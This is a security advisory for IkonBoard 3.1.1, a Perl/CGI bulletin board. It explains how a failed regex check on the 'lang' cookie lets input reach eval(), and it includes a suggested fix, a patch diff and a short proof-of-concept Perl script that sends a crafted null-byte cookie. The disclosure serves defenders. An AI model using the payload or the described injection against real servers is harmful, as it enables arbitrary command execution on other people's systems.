============================================================================
Vulnerable: IkonBoard 3.1.1 (and probably earlier)
Category: Perl/CGI coding errors
Impact: Arbitrary command execution
Date: 1st April 2003
Vendor: The Jarvis Group
Homepage: http://www.ikonboard.com/
Vendor Status: First notified 26th January 2003
Vendor Fix: None available
Details
=======
IkonBoard (http://www.ikonboard.com/) is a comprehensive web bulletin board
system, implemented as a Perl/CGI script.
There is a flaw in the Perl code that cleans up user input before
interpolating it into a string which gets passed to Perl's eval() function,
allowing an attacker to evaluate arbitrary Perl and hence run arbitrary
commands.
The flaw is in the code that cleans up the value of the 'lang' cookie, in
sub LoadLanguage in Sources/Lib/FUNC.pm:
# Make sure the cookie data is legal
if ($iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}) {
$iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;
}
If the cookie contains illegal characters then the s/// operation fails to
match and the bad cookie value is left in place, so this code fails to do
any validation.
The cookie value is then interpolated into a directory name, which is in
turn interpolated into a string passed to the eval function. There is a
check that the directory exists, but use of the poisoned null technique
allows that check to be bypassed.
Suggested Fix
=============
Either apply the attached patch to Sources/Lib/FUNC.pm on the web server, or
make the following changes by hand:
At line 104 of Sources/Lib/FUNC.pm is the code:
$sid =~ s/^(\d+)$/$1/;
... change it to:
$sid =~ s/^(\d+)$/$1/ or die 'bad sid cookie value';
At line 191 of Sources/Lib/FUNC.pm is the code:
$iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;
... change it to:
$iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~
s/^([\d\w]+)$/$1/ or die 'bad lang cookie value';
Exploit
=======
The following proof of concept exploit demonstrates that the problem is
exploitable by causing a syntax error in the eval(). The Perl syntax error
message in the returned HTML proves that the exploit has been able to inject
Perl source code into the eval.
I have refrained from publishing a more functional exploit at this time, to
delay attacks against IkonBoard installations. Note however that it would
take only a few minutes for a reasonably knowledgeable attacker to write an
exploit that runs arbitrary Perl.
----- cut here -----
#!/usr/bin/perl -w
use strict;
my $HOST = 'www.example.domain';
my $PATH = '/cgi-bin/ikonboard.cgi';
use IO::Socket;
my $sock = IO::Socket::INET->new("$HOST:80") or die "connect: $!";
$sock->print(<<END) or die "write: $!";
GET $PATH HTTP/1.1
Host: $HOST
Cookie: lang=%2E%00%22
Connection: close
END
print while <$sock>;
----- cut here -----
============================================================================
--
Nick Cleaton
nick@cleaton.net
diff -Nurd Sources.orig/Lib/FUNC.pm Sources/Lib/FUNC.pm
--- Sources.orig/Lib/FUNC.pm Sun Jul 14 00:47:08 2002
+++ Sources/Lib/FUNC.pm Mon Feb 3 09:39:48 2003
@@ -101,7 +101,7 @@
my $sid = $iB::IN{'sid'} || $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'skin'};
# Make sure it only contains a number
- $sid =~ s/^(\d+)$/$1/;
+ $sid =~ s/^(\d+)$/$1/ or die "invalid sid value";
# Make sure we have a default skin set
@@ -188,7 +188,8 @@
# Make sure the cookie data is legal
if ($iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}) {
- $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;
+ $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/
+ or die "invalid lang cookie value";
}
$default = $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}
